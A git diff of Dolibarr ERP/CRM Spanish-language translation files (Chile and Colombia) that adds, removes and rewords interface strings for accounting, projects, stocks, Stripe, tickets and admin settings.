AllExportedMovementsWereRecordedAsExported=Todos los movimientos exportados fueron registrados como exportados. NotAllExportedMovementsCouldBeRecordedAsExported=No todos los movimientos exportados pudieron registrarse como exportados Miscellaneous=Diverso @@ -533,3 +530,8 @@ ContactDefault_invoice_supplier=Factura del proveedor ContactDefault_propal=Cotización ContactDefault_supplier_proposal=Propuesta de proveedor ContactAddedAutomatically=Contacto agregado de roles de terceros de contacto +AffectTag=Assign a Tag +AffectUser=Assign a User +SetSupervisor=Set the supervisor +ProjectRole=Role assigned on each project/opportunity +TasksRole=Role assigned on each task (if used) diff --git a/htdocs/langs/es_CL/members.lang b/htdocs/langs/es_CL/members.lang index d8ea715ef45..40da43bf457 100644 --- a/htdocs/langs/es_CL/members.lang +++ b/htdocs/langs/es_CL/members.lang @@ -84,7 +84,6 @@ MenuMembersStats=Estadística NewMemberbyWeb=Nuevo miembro agregado. Esperando aprobacion NewMemberForm=Nueva forma de miembro TurnoverOrBudget=Volumen de ventas (empresa) o Cotización (asociación o colectivo) -MEMBER_NEWFORM_PAYONLINE=Salte en la página integrada de pago en línea MembersStatisticsByProperties=Estadísticas de miembros por naturaleza NoEmailSentToMember=No se envió ningún correo electrónico al miembro EmailSentToMember=Correo electrónico enviado al miembro al %s diff --git a/htdocs/langs/es_CL/mrp.lang b/htdocs/langs/es_CL/mrp.lang index 8bce2ae683d..da17feae645 100644 --- a/htdocs/langs/es_CL/mrp.lang +++ b/htdocs/langs/es_CL/mrp.lang @@ -6,8 +6,7 @@ MenuBOM=Facturas de material LatestBOMModified=Últimas %s Cuentas de materiales modificadas LatestMOModified=Últimas %s Ordenes de Fabricación modificadas Bom=Factura de Materiales -ListOfBOMs=Lista de listas de materiales - BOM -ListOfManufacturingOrders=Lista de pedidos de fabricación +ListOfManufacturingOrders=Ordenes de Fabricación BOMsNumberingModules=Plantillas de numeración de listas de materiales BOMsModelModule=Lista de Materiales-BOM plantillas de documentos MOsNumberingModules=Plantilla de numeración MO diff --git a/htdocs/langs/es_CL/projects.lang b/htdocs/langs/es_CL/projects.lang index 7afb36f5a70..15025596c77 100644 --- a/htdocs/langs/es_CL/projects.lang +++ b/htdocs/langs/es_CL/projects.lang @@ -68,7 +68,6 @@ TaskHasChild=La tarea tiene un niño NotOwnerOfProject=No es dueño de este proyecto privado ConfirmValidateProject=¿Seguro que quieres validar este proyecto? ConfirmCloseAProject=¿Seguro que quieres cerrar este proyecto? -AlsoCloseAProject=También cierre el proyecto (manténgalo abierto si todavía necesita seguir tareas de producción en él) ReOpenAProject=Proyecto abierto ConfirmReOpenAProject=¿Estás seguro de que quieres volver a abrir este proyecto? ProjectContact=Contactos de proyecto @@ -145,7 +144,6 @@ OpportunityPonderatedAmount=Cantidad ponderada de clientes potenciales OpportunityPonderatedAmountDesc=Cantidad de leads ponderada con probabilidad OppStatusQUAL=Calificación OppStatusPROPO=Cotización -AllowToLinkFromOtherCompany=Permite vincular proyectos de otra empresa.

      Valores soportados:
      - Mantener vacío: puede vincular cualquier proyecto de la empresa (por defecto)
      - "todos": puede vincular cualquier proyecto, incluso proyectos de otras compañías
      - Una lista de identificadores de terceros separados por comas: puede vincular todos los proyectos de estos terceros (Ejemplo: 123,4795,53)
      LatestProjects=Últimos %s proyectos LatestModifiedProjects=Últimos proyectos modificados %s NoAssignedTasks=No se encontraron tareas asignadas (asigne proyectos / tareas al usuario actual desde el cuadro de selección superior para ingresar el tiempo) diff --git a/htdocs/langs/es_CL/propal.lang b/htdocs/langs/es_CL/propal.lang index da08398b488..8f5ec5c079b 100644 --- a/htdocs/langs/es_CL/propal.lang +++ b/htdocs/langs/es_CL/propal.lang @@ -59,9 +59,9 @@ TypeContact_propal_internal_SALESREPFOLL=Comercial seguimiento cotización TypeContact_propal_external_BILLING=Contacto cliente de facturación cotización TypeContact_propal_external_CUSTOMER=Contacto cliente seguimiento cotización TypeContact_propal_external_SHIPPING=Contacto con el cliente para la entrega +CaseFollowedBy=Caso seguido de +DefaultModelPropalClosed=Modelo por defecto al cerrar una cotización (no facturado) DefaultModelPropalCreate=Creación de modelo por defecto DefaultModelPropalToBill=Modelo por defecto al cerrar una cotización (a facturar) -DefaultModelPropalClosed=Modelo por defecto al cerrar una cotización (no facturado) ProposalCustomerSignature=Aprobación, timbre, fecha y firma ProposalsStatisticsSuppliers=Estadísticas de propuestas de proveedores. -CaseFollowedBy=Caso seguido de diff --git a/htdocs/langs/es_CL/salaries.lang b/htdocs/langs/es_CL/salaries.lang index e0d10e61542..b9788f695ea 100644 --- a/htdocs/langs/es_CL/salaries.lang +++ b/htdocs/langs/es_CL/salaries.lang @@ -1,6 +1,4 @@ # Dolibarr language file - Source file is en_US - salaries -SALARIES_ACCOUNTING_ACCOUNT_PAYMENT=Cuenta de contabilidad utilizada para terceros usuarios -SALARIES_ACCOUNTING_ACCOUNT_PAYMENT_Desc=La cuenta de contabilidad dedicada definida en la tarjeta de usuario se usará solo para la contabilidad de Libro mayor auxiliar. Este se usará para el Libro mayor y como valor predeterminado de la contabilidad del Libro mayor auxiliar si no se define una cuenta de usuario dedicada en el usuario. SALARIES_ACCOUNTING_ACCOUNT_CHARGE=Cuenta de contabilidad por defecto para pagos de salarios SalariesPayments=Sueldos pagos ShowSalaryPayment=Mostrar pago de sueldo diff --git a/htdocs/langs/es_CL/stocks.lang b/htdocs/langs/es_CL/stocks.lang index f0add21419b..8fc0a138954 100644 --- a/htdocs/langs/es_CL/stocks.lang +++ b/htdocs/langs/es_CL/stocks.lang @@ -22,7 +22,6 @@ NumberOfProducts=Número total de productos StockCorrection=Corrección de stock CorrectStock=Corregir stock StockTransfer=Transferencia de acciones -MassStockTransferShort=Transferencia stock en masa StockMovement=Movimiento de valores StockMovements=Movimientos de acciones NumberOfUnit=Número de unidades @@ -107,7 +106,6 @@ ProductStockWarehouseCreated=Límite de stock para alerta y stock óptimo desead ProductStockWarehouseUpdated=Límite de stock para alerta y stock óptimo deseado correctamente actualizado ProductStockWarehouseDeleted=Límite de stock para alerta y stock óptimo deseado eliminado correctamente AddNewProductStockWarehouse=Establezca un nuevo límite para la alerta y el stock óptimo deseado -AddStockLocationLine=Disminuya la cantidad y luego haga clic para agregar otro almacén para este producto InventoryDate=Fecha de inventario inventorySetup =Configuración de inventario inventoryValidatePermission=Validar el inventario diff --git a/htdocs/langs/es_CL/stripe.lang b/htdocs/langs/es_CL/stripe.lang index 84e773250a6..81cdc4cac04 100644 --- a/htdocs/langs/es_CL/stripe.lang +++ b/htdocs/langs/es_CL/stripe.lang @@ -20,7 +20,7 @@ STRIPE_LIVE_SECRET_KEY=Clave secreta en vivo STRIPE_LIVE_PUBLISHABLE_KEY=Clave en vivo publicable StripeLiveEnabled=Stripe live enabled (de lo contrario, prueba / modo de espacio aislado) StripeImportPayment=Importar pagos en franja -ExampleOfTestCreditCard=Ejemplo de tarjeta de crédito para la prueba: %s => válido, %s => error CVC, %s => caducado, %s => cargo falla +ExampleOfTestCreditCard=Example of credit card for SEPA test: %s => valid, %s => error CVC, %s => expired, %s => charge fails StripeGateways=Pasarelas de banda BankAccountForBankTransfer=Cuenta bancaria para pagos de fondos StripeAccount=Cuenta de banda @@ -34,3 +34,4 @@ ShowInStripe=Mostrar en raya StripeUserAccountForActions=Cuenta de usuario para usar para la notificación por correo electrónico de algunos eventos de Stripe (pagos de Stripe) StripePayoutList=Lista de pagos de la raya ToOfferALinkForLiveWebhook=Enlace para configurar Stripe WebHook para llamar a la IPN (modo en vivo) +TERMINAL_LOCATION=Location (address) for Stripe Terminals diff --git a/htdocs/langs/es_CL/ticket.lang b/htdocs/langs/es_CL/ticket.lang index 5a4f2f39b72..1a916ed0081 100644 --- a/htdocs/langs/es_CL/ticket.lang +++ b/htdocs/langs/es_CL/ticket.lang @@ -59,8 +59,6 @@ TicketHistory=Historial de Tickets TicketAssigned=Ticket ahora está asignado TicketChangeCategory=Cambiar código analítico TicketChangeSeverity=Cambiar severidad -TicketAddMessage=Añade un mensaje -AddMessage=Añade un mensaje MessageSuccessfullyAdded=Ticket agregado TicketMessageSuccessfullyAdded=Mensaje agregado con éxito TicketMessagesList=Lista de mensajes @@ -102,7 +100,6 @@ TicketNewEmailBodyInfosTicket=Información para monitorear el Ticket TicketNewEmailBodyInfosTrackId=Número de seguimiento de Ticket: %s TicketEmailPleaseDoNotReplyToThisEmail=¡Por favor no responda directamente a este correo! Usa el enlace para responder a la interfaz. TicketPublicInfoCreateTicket=Este formulario le permite registrar un ticket de soporte en nuestro sistema de gestión. -TicketPublicPleaseBeAccuratelyDescribe=Por favor describe con precisión el problema. Proporcione la mayor cantidad de información posible que nos permita identificar correctamente su solicitud. TicketPublicMsgViewLogIn=Ingrese la ID de seguimiento del Ticket TicketTrackId=ID de seguimiento público OneOfTicketTrackId=Una de tus ID de seguimiento diff --git a/htdocs/langs/es_CL/users.lang b/htdocs/langs/es_CL/users.lang index e84167b6a69..c21d55dcd29 100644 --- a/htdocs/langs/es_CL/users.lang +++ b/htdocs/langs/es_CL/users.lang @@ -48,7 +48,6 @@ LinkToCompanyContact=Enlace a un tercero / contacto LinkedToDolibarrMember=Enlace al miembro CreateDolibarrLogin=Crear un usuario CreateDolibarrThirdParty=Crea un tercero -LoginAccountDisableInDolibarr=Cuenta desactivada en Dolibarr. UsePersonalValue=Use valor personal DomainUser=Usuario del dominio %s CreateInternalUserDesc=Este formulario le permite crear un usuario interno en su empresa / organización. Para crear un usuario externo (cliente, proveedor, etc.), use el botón "Crear usuario de Dolibarr" de la tarjeta de contacto de ese tercero. diff --git a/htdocs/langs/es_CO/accountancy.lang b/htdocs/langs/es_CO/accountancy.lang index 43dd8df9360..64836ed84cd 100644 --- a/htdocs/langs/es_CO/accountancy.lang +++ b/htdocs/langs/es_CO/accountancy.lang @@ -9,8 +9,6 @@ ACCOUNTING_EXPORT_DEVISE=Moneda de exportación Selectformat=Selecciona el formato para el archivo. ACCOUNTING_EXPORT_FORMAT=Selecciona el formato para el archivo. ACCOUNTING_EXPORT_PREFIX_SPEC=Especifique el prefijo para el nombre del archivo. -DefaultForService=Por defecto para el servicio -DefaultForProduct=Predeterminado para producto CantSuggest=No puedo sugerir ConfigAccountingExpert=Configuración de la contabilidad del módulo (doble entrada) Journalization=Periodización @@ -38,6 +36,7 @@ MainAccountForSuppliersNotDefined=Cuenta de contabilidad principal para proveedo MainAccountForUsersNotDefined=Cuenta de contabilidad principal para usuarios no definidos en la configuración. MainAccountForVatPaymentNotDefined=Cuenta contable principal para el pago del IVA no definido en la configuración MainAccountForSubscriptionPaymentNotDefined=Cuenta de contabilidad principal para el pago de la suscripción no definida en la configuración +UserAccountNotDefined=Cuenta de contabilidad para el usuario no definida en la configuración AccountancyArea=Area de contabilidad AccountancyAreaDescActionOnce=Las siguientes acciones generalmente se ejecutan una sola vez, o una vez al año ... AccountancyAreaDescActionFreq=Las siguientes acciones generalmente se ejecutan cada mes, semana o día para compañías muy grandes ... @@ -104,32 +103,32 @@ ACCOUNTING_LENGTH_AACCOUNT=Longitud de las cuentas de contabilidad de terceros ( ACCOUNTING_MANAGE_ZERO=Permitir administrar diferentes números de ceros al final de una cuenta contable. Necesitado por algunos países (como Suiza). Si está desactivado (predeterminado), puede configurar los siguientes dos parámetros para pedirle a la aplicación que agregue ceros virtuales. BANK_DISABLE_DIRECT_INPUT=Deshabilitar el registro directo de la transacción en la cuenta bancaria ACCOUNTING_ENABLE_EXPORT_DRAFT_JOURNAL=Habilitar borrador de exportación en la revista -ACCOUNTING_SELL_JOURNAL=Diario de venta -ACCOUNTING_PURCHASE_JOURNAL=Diario de compra -ACCOUNTING_MISCELLANEOUS_JOURNAL=Revista miscelánea +ACCOUNTING_BANK_JOURNAL=Libro de caja (recibos y egresos) ACCOUNTING_EXPENSEREPORT_JOURNAL=Diario de informe de gastos -ACCOUNTING_SOCIAL_JOURNAL=Revista social ACCOUNTING_HAS_NEW_JOURNAL=Tiene nuevo diario +ACCOUNTING_INVENTORY_JOURNAL=diario de inventario +ACCOUNTING_SOCIAL_JOURNAL=Revista social ACCOUNTING_RESULT_PROFIT=Cuenta contable de resultado (beneficio) ACCOUNTING_RESULT_LOSS=Cuenta contable de resultados (pérdida) -ACCOUNTING_ACCOUNT_TRANSFER_CASH=Cuenta contable de transferencia bancaria transitoria +ACCOUNTING_ACCOUNT_TRANSFER_CASH=Cuenta (del plan de cuentas) que se utilizará como cuenta para transferencias bancarias transitorias TransitionalAccount=Cuenta de transferencia bancaria transitoria -ACCOUNTING_ACCOUNT_SUSPENSE=Cuenta contable de espera. -DONATION_ACCOUNTINGACCOUNT=Cuenta contable para registrar donaciones. -ADHERENT_SUBSCRIPTION_ACCOUNTINGACCOUNT=Cuenta contable para registrar suscripciones -ACCOUNTING_ACCOUNT_CUSTOMER_DEPOSIT=Cuenta contable por defecto para registrar el depósito del cliente -ACCOUNTING_PRODUCT_BUY_ACCOUNT=Cuenta contable por defecto para los productos comprados (se usa si no está definida en la hoja de producto) -ACCOUNTING_PRODUCT_BUY_INTRA_ACCOUNT=Cuenta contable por defecto para los productos comprados en EEC (se usa si no está definido en la hoja de producto) -ACCOUNTING_PRODUCT_BUY_EXPORT_ACCOUNT=Cuenta contable por defecto para los productos comprados e importados fuera de la CEE (se utiliza si no está definido en la ficha del producto) -ACCOUNTING_PRODUCT_SOLD_ACCOUNT=Cuenta contable por defecto para los productos vendidos (se usa si no se define en la hoja del producto) -ACCOUNTING_PRODUCT_SOLD_INTRA_ACCOUNT=Cuenta contable por defecto para los productos vendidos en EEC (usado si no está definido en la hoja de producto) -ACCOUNTING_PRODUCT_SOLD_EXPORT_ACCOUNT=Cuenta contable por defecto para los productos vendidos y exportados fuera de la CEE (utilizado si no está definido en la hoja de producto) -ACCOUNTING_SERVICE_BUY_ACCOUNT=Cuenta de contabilidad por defecto para los servicios comprados (se usa si no está definido en la hoja de servicio) -ACCOUNTING_SERVICE_BUY_INTRA_ACCOUNT=Cuenta contable por defecto para los servicios comprados en EEC (se usa si no está definida en la hoja de servicio) -ACCOUNTING_SERVICE_BUY_EXPORT_ACCOUNT=Cuenta contable por defecto para los servicios comprados e importados fuera de EEC (usado si no está definido en la hoja de servicio) -ACCOUNTING_SERVICE_SOLD_ACCOUNT=Cuenta de contabilidad por defecto para los servicios vendidos (se usa si no se define en la hoja de servicio) -ACCOUNTING_SERVICE_SOLD_INTRA_ACCOUNT=Cuenta de contabilidad por defecto para los servicios vendidos en EEC (usado si no está definido en la hoja de servicio) -ACCOUNTING_SERVICE_SOLD_EXPORT_ACCOUNT=Cuenta contable por defecto para los servicios vendidos y exportados fuera de EEC (usado si no está definido en la hoja de servicio) +ACCOUNTING_ACCOUNT_SUSPENSE=Cuenta (del plan de cuentas) que se utilizará como cuenta para fondos no asignados recibidos o pagados, es decir, fondos en "espera [ing]" +DONATION_ACCOUNTINGACCOUNT=Cuenta (del plan de cuentas) que se utilizará para registrar donaciones (módulo de donaciones) +ADHERENT_SUBSCRIPTION_ACCOUNTINGACCOUNT=Cuenta (del plan de cuentas) que se utilizará para registrar las suscripciones de membresía (módulo de membresía, si la membresía se registró sin factura) +ACCOUNTING_ACCOUNT_CUSTOMER_DEPOSIT=Cuenta (del plan de cuentas) que se utilizará como cuenta predeterminada para registrar el depósito del cliente +ACCOUNTING_ACCOUNT_SUPPLIER_DEPOSIT=Cuenta (del plan de cuentas) que se utilizará como predeterminada +ACCOUNTING_PRODUCT_BUY_ACCOUNT=Cuenta (del plan de cuentas) que se usará como cuenta predeterminada para los productos comprados dentro del mismo país (se usa si no está definida en la hoja del producto) +ACCOUNTING_PRODUCT_BUY_INTRA_ACCOUNT=Cuenta (del plan de cuentas) que se usará como cuenta predeterminada para los productos comprados de EEC a otro país de EEC (se usa si no está definido en la hoja de producto) +ACCOUNTING_PRODUCT_BUY_EXPORT_ACCOUNT=Cuenta (del Plan de cuentas) que se utilizará como cuenta predeterminada para los productos comprados e importados de cualquier otro país extranjero (utilizada si no está definida en la ficha del producto) +ACCOUNTING_PRODUCT_SOLD_ACCOUNT=Cuenta (del plan de cuentas) que se usará como cuenta predeterminada para los productos vendidos (se usa si no está definida en la hoja de producto) +ACCOUNTING_PRODUCT_SOLD_INTRA_ACCOUNT=Cuenta (del plan de cuentas) que se utilizará como cuenta predeterminada para los productos vendidos desde la CEE a otro país de la CEE (utilizada si no está definida en la ficha del producto) +ACCOUNTING_PRODUCT_SOLD_EXPORT_ACCOUNT=Cuenta (del Plan de cuentas) que se utilizará como cuenta predeterminada para los productos vendidos y exportados a cualquier otro país extranjero (utilizada si no está definida en la ficha del producto) +ACCOUNTING_SERVICE_BUY_ACCOUNT=Cuenta (del plan de cuentas) que se usará como cuenta predeterminada para los servicios comprados dentro del mismo país (se usa si no está definida en la hoja de servicios) +ACCOUNTING_SERVICE_BUY_INTRA_ACCOUNT=Cuenta (del plan de cuentas) que se usará como cuenta predeterminada para los servicios comprados de EEC a otro país de EEC (se usa si no está definido en la hoja de servicio) +ACCOUNTING_SERVICE_BUY_EXPORT_ACCOUNT=Cuenta (del plan de cuentas) que se usará como cuenta predeterminada para los servicios comprados e importados de otro país extranjero (se usa si no está definido en la hoja de servicios) +ACCOUNTING_SERVICE_SOLD_ACCOUNT=Cuenta (del plan de cuentas) que se usará como cuenta predeterminada para los servicios vendidos (se usa si no está definida en la hoja de servicios) +ACCOUNTING_SERVICE_SOLD_INTRA_ACCOUNT=Cuenta (del plan de cuentas) que se utilizará como cuenta predeterminada para los servicios vendidos desde EEC a otro país de EEC (utilizada si no está definida en la hoja de servicio) +ACCOUNTING_SERVICE_SOLD_EXPORT_ACCOUNT=Cuenta (del Plan de cuentas) que se usará como cuenta predeterminada para los servicios vendidos y exportados a cualquier otro país extranjero (se usa si no está definido en la hoja de servicios) LabelAccount=Etiqueta de cuenta LabelOperation=Operación de etiquetas LetteringCode=Codigo de letras @@ -137,6 +136,7 @@ Codejournal=diario JournalLabel=Etiqueta de diario NumPiece=Número de pieza TransactionNumShort=Num. transacción +AccountingCategories=Custom groups of accounts GroupByAccountAccounting=Agrupar por cuenta del libro mayor AccountingAccountGroupsDesc=Puede definir aquí algunos grupos de cuentas contables. Serán utilizados para informes contables personalizados. ByPredefinedAccountGroups=Por grupos predefinidos. @@ -173,26 +173,18 @@ PcgtypeDesc=Los grupos de cuentas se utilizan como criterios de 'filtro' y 'agru Reconcilable=Conciliable TotalVente=Rotación total antes de impuestos TotalMarge=Margen total de ventas -DescVentilCustomer=Consulte aquí la lista de líneas de factura del cliente vinculadas (o no) a una cuenta contable del producto -DescVentilMore=En la mayoría de los casos, si utiliza productos o servicios predefinidos y configura el número de cuenta en la tarjeta de producto / servicio, la aplicación podrá hacer todo el enlace entre sus líneas de factura y la cuenta contable de su plan de cuentas, solo en un clic con el botón "%s" . Si la cuenta no se configuró en las tarjetas de productos / servicios o si todavía tiene algunas líneas que no están vinculadas a una cuenta, deberá realizar un enlace manual desde el menú " %s ". -DescVentilDoneCustomer=Consulte aquí la lista de las líneas de facturas de los clientes y su cuenta contable del producto. -DescVentilTodoCustomer=Enlazar líneas de factura aún no vinculadas con una cuenta contable de producto -ChangeAccount=Cambie la cuenta de contabilidad de producto / servicio para las líneas seleccionadas con la siguiente cuenta de contabilidad: -DescVentilSupplier=Consulte aquí la lista de líneas de facturas de proveedores vinculadas o aún no vinculadas a una cuenta de contabilidad de productos (solo están visibles los registros que aún no se han transferido a la contabilidad) DescVentilDoneSupplier=Consulte aquí el listado de las líneas de facturas de proveedores y su cuenta contable DescVentilTodoExpenseReport=Líneas de informe de gastos de enlace no vinculadas con una cuenta contable de comisiones DescVentilExpenseReport=Consulte aquí la lista de líneas de informe de gastos vinculadas (o no) a una cuenta de contabilidad de comisiones. DescVentilExpenseReportMore=Si configura una cuenta contable según el tipo de líneas de informe de gastos, la aplicación podrá realizar toda la vinculación entre sus líneas de informe de gastos y la cuenta contable de su plan de cuentas, solo con un clic con el botón "%s" . Si la cuenta no se estableció en el diccionario de tarifas o si todavía tiene algunas líneas no vinculadas a ninguna cuenta, deberá realizar un enlace manual desde el menú " %s ". DescVentilDoneExpenseReport=Consulte aquí la lista de líneas de informes de gastos y sus cuentas contables. -DescClosure=Consult here the number of movements by month who are not yet validated & locked DescValidateMovements=Se prohíbe cualquier modificación o eliminación de la escritura, las letras y las eliminaciones. Todas las entradas para un ejercicio deben ser validadas, de lo contrario no será posible cerrar AutomaticBindingDone=Enlaces automáticos realizados (%s) - El enlace automático no es posible para algunos registros (%s) -ErrorAccountancyCodeIsAlreadyUse=Error, no puede eliminar esta cuenta de contabilidad porque se usa +MvtNotCorrectlyBalanced=Movimiento no equilibrado correctamente. Débito = %s & Crédito = %s Balancing=Equilibrio FicheVentilation=Tarjeta de encuadernación GeneralLedgerIsWritten=Las transacciones están escritas en el libro mayor. GeneralLedgerSomeRecordWasNotRecorded=Algunas de las transacciones no pudieron ser periodizadas. Si no hay otro mensaje de error, probablemente sea porque ya estaban registrados. -ListOfProductsWithoutAccountingAccount=Lista de productos no vinculados a ninguna cuenta contable. ChangeBinding=Cambiar el enlace Accounted=Contabilizado en libro mayor NotYetAccounted=Aún no transferido a contabilidad @@ -207,13 +199,14 @@ AccountingJournal=Diario de contabilidad NewAccountingJournal=Nueva revista contable NatureOfJournal=Naturaleza de la revista AccountingJournalType1=Operaciones misceláneas -AccountingJournalType5=Informe de gastos +AccountingJournalType5=Reporte de gastos AccountingJournalType9=Ha-nuevo ErrorAccountingJournalIsAlreadyUse=Esta revista ya está en uso. AccountingAccountForSalesTaxAreDefinedInto=Nota: la cuenta contable del impuesto sobre las ventas se define en el menú %s - %s NumberOfAccountancyMovements=Numero de movimientos ACCOUNTING_DISABLE_BINDING_ON_SALES=Deshabilitar la vinculación y la transferencia en la contabilidad de las ventas (las facturas de los clientes no se tendrán en cuenta en la contabilidad) ACCOUNTING_DISABLE_BINDING_ON_PURCHASES=Deshabilite la vinculación y transferencia en contabilidad en compras (las facturas de proveedores no se tendrán en cuenta en la contabilidad) +NotifiedExportDate=Marque las líneas exportadas como Exportadas (para modificar una línea, deberá eliminar toda la transacción y volver a transferirla a contabilidad) ExportDraftJournal=Exportar borrador de revista Selectmodelcsv=Selecciona un modelo de exportación. Modelcsv_CEGID=Exportación para CEGID Expert Comptabilité @@ -256,9 +249,16 @@ PredefinedGroups=Grupos predefinidos WithValidAccount=Con cuenta dedicada válida. ValueNotIntoChartOfAccount=Este valor de la cuenta contable no existe en el plan de cuentas. SaleEECWithVAT=Venta en EEC con IVA no nulo, por lo que suponemos que NO es una venta intracomunitaria y la cuenta sugerida es la cuenta estándar del producto. -SaleEECWithoutVATNumber=Venta en CEE sin IVA, pero no se define el ID de IVA del tercero. Recurrimos a la cuenta de producto para las ventas estándar. Puede corregir el ID de IVA del tercero o la cuenta del producto si es necesario. ForbiddenTransactionAlreadyExported=Prohibido: La transacción ha sido validada y/o exportada. ForbiddenTransactionAlreadyValidated=Prohibido: La transacción ha sido validada. +LetteringAuto=conciliar automáticamente +LetteringManual=reconciliar manual +Unlettering=no reconciliar +UnletteringAuto=Auto no reconciliado +UnletteringManual=manual no reconciliado +ConfirmMassUnletteringQuestion=¿Está seguro de que desea anular la conciliación de los registros seleccionados %s? +ConfirmMassDeleteBookkeepingWriting=Confirmación de eliminación masiva +ConfirmMassDeleteBookkeepingWritingQuestion=Esto eliminará la transacción de la contabilidad (se eliminarán todas las líneas relacionadas con la misma transacción) ¿Está seguro de que desea eliminar los registros seleccionados %s? SomeMandatoryStepsOfSetupWereNotDone=Algunos pasos obligatorios de configuración no se realizaron, por favor complete ErrorNoAccountingCategoryForThisCountry=No hay grupo de cuentas contables disponible para el país %s (Consulte Inicio - Configuración - Diccionarios) ErrorInvoiceContainsLinesNotYetBounded=Intenta registrar en el diario algunas líneas de la factura %s , pero algunas otras líneas aún no están vinculadas a la cuenta contable. La periodización de todas las líneas de factura para esta factura se rechazan. diff --git a/htdocs/langs/es_CO/admin.lang b/htdocs/langs/es_CO/admin.lang index af4d57d1984..e1efb45f47b 100644 --- a/htdocs/langs/es_CO/admin.lang +++ b/htdocs/langs/es_CO/admin.lang @@ -340,7 +340,6 @@ ExtrafieldCheckBox=Casillas de verificación ExtrafieldCheckBoxFromList=Casillas de verificación de la mesa ExtrafieldLink=Enlace a un objeto ComputedFormula=Campo computado -ComputedFormulaDesc=Puede ingresar aquí una fórmula usando otras propiedades del objeto o cualquier codificación PHP para obtener un valor calculado dinámico. Puede utilizar cualquier fórmula compatible con PHP, incluido el "?" operador de condición y el siguiente objeto global: $db, $conf, $langs, $mysoc, $user, $object.
      ADVERTENCIA: Solo algunas propiedades de $object pueden estar disponibles. Si necesita propiedades no cargadas, simplemente busque el objeto en su fórmula como en el segundo ejemplo.
      El uso de un campo calculado significa que no puede ingresar ningún valor desde la interfaz. Además, si hay un error de sintaxis, es posible que la fórmula no devuelva nada.

      Ejemplo de fórmula:
      $object->id < 10 ? round($object->id / 2, 2): ($object->id + 2 * $user->id) * (int) substr($mysoc->zip, 1, 2)

      Ejemplo para recargar el objeto
      (($reloadedobj = new Societe($db)) && ($reloadedobj->fetchNoCompute($obj->id ? $obj->id: ($obj->rowid ? $obj->rowid: $object->id)) > 0)) ? $reloadedobj->array_options['options_extrafieldkey'] * $reloadedobj->capital / 5: '-1''

      Otro ejemplo de fórmula para forzar la carga del objeto y su objeto principal:
      (($reloadedobj = new Task($db)) && ($reloadedobj->fetchNoCompute($object->id) > 0) && ($secondloadedobj = new Project($db)) && ($secondloadedobj->fetchNoCompute($reloadedobj->fk_project) > 0)) ? $secondloadedobj->ref: 'Parent project not found' Computedpersistent=Almacenar campo calculado ComputedpersistentDesc=Los campos adicionales calculados se almacenarán en la base de datos, sin embargo, el valor solo se volverá a calcular cuando se cambie el objeto de este campo. Si el campo calculado depende de otros objetos o datos globales, ¡este valor puede ser incorrecto! ExtrafieldParamHelpPassword=Dejar este campo en blanco significa que este valor se almacenará sin cifrado (el campo solo debe estar oculto con una estrella en la pantalla).
      Establezca 'auto' para usar la regla de cifrado predeterminada para guardar la contraseña en la base de datos (entonces el valor leído será el hash solo, no hay forma de recuperar el valor original) @@ -362,6 +361,7 @@ ValueOverwrittenByUserSetup=Advertencia, este valor puede ser sobrescrito por la BarcodeInitForThirdparties=init para código de barras masivo para terceros BarcodeInitForProductsOrServices=Código de barras masivo de inicio o reinicio para productos o servicios. CurrentlyNWithoutBarCode=Actualmente, tienes el registro %s en %s %s sin un código de barras definido. +InitEmptyBarCode=Valor inicial para los %s códigos de barras vacíos EraseAllCurrentBarCode=Borrar todos los valores de código de barras actuales ConfirmEraseAllCurrentBarCode=¿Está seguro de que desea borrar todos los valores de código de barras actuales? AllBarcodeReset=Todos los valores de código de barras han sido eliminados @@ -380,9 +380,11 @@ ModuleCompanyCodeSupplierDigitaria=%s seguido del nombre del proveedor truncado Use3StepsApproval=De forma predeterminada, los pedidos de compra deben ser creados y aprobados por 2 usuarios diferentes (un paso / usuario para crear y un paso / usuario para aprobar. Tenga en cuenta que si el usuario tiene permiso para crear y aprobar, un paso / usuario será suficiente) . Puede pedir con esta opción que introduzca un tercer paso / aprobación del usuario, si la cantidad es mayor que un valor dedicado (por lo que serán necesarios 3 pasos: 1 = validación, 2 = primera aprobación y 3 = segunda aprobación si la cantidad es suficiente).
      Configúrelo en vacío si una aprobación (2 pasos) es suficiente, ajústelo a un valor muy bajo (0.1) si siempre se requiere una segunda aprobación (3 pasos). UseDoubleApproval=Utilice una aprobación de 3 pasos cuando la cantidad (sin impuestos) sea superior a ... WarningPHPMail=ADVERTENCIA: La configuración para enviar correos electrónicos desde la aplicación utiliza la configuración genérica predeterminada. A menudo, es mejor configurar los correos electrónicos salientes para utilizar el servidor de correo electrónico de su proveedor de servicios de correo electrónico en lugar de la configuración predeterminada por varias razones: -WarningPHPMailD=Además, por lo tanto, se recomienda cambiar el método de envío de correos electrónicos al valor "SMTP". Si realmente desea mantener el método "PHP" predeterminado para enviar correos electrónicos, simplemente ignore esta advertencia o elimínela configurando MAIN_HIDE_WARNING_TO_ENCOURAGE_SMTP_SETUP constante en 1 en Inicio - Configuración - Otro. +WarningPHPMailD=Por lo tanto, se recomienda cambiar el método de envío de E-mail al valor "SMTP". +WarningPHPMailDbis=Si realmente desea mantener el método "PHP" predeterminado para enviar E-mails, simplemente ignore esta advertencia o elimínela haciendo clic aquí %s%s. WarningPHPMail2=Si su proveedor de correo electrónico SMTP necesita restringir el cliente de correo electrónico a algunas direcciones IP (muy raro), esta es la dirección IP del agente de usuario de correo (MUA) para su aplicación ERP CRM: %s . WarningPHPMailSPF=Si el nombre de dominio en su dirección de correo electrónico del remitente está protegido por un registro SPF (pregunte a su registrador de nombre de dominio), debe agregar las siguientes IP en el registro SPF del DNS de su dominio: %s . +ActualMailSPFRecordFound=Registro SPF real encontrado (para el E-mail %s): %s ClickToShowDescription=Haga clic para mostrar la descripción DependsOn=Este módulo necesita el módulo (s) RequiredBy=Este módulo es requerido por el módulo (s) @@ -392,7 +394,6 @@ PageUrlForDefaultValuesCreate=
      Ejemplo:
      Para el formulario para crear u PageUrlForDefaultValuesList=
      Ejemplo:
      Para la página que enumera terceros, es %s.
      Para la URL de los módulos externos instalados en el directorio personalizado, no incluya "custom/", así que use una ruta como mymodule/mypagelist.php y no custom/mymodule/mypagelist.php.
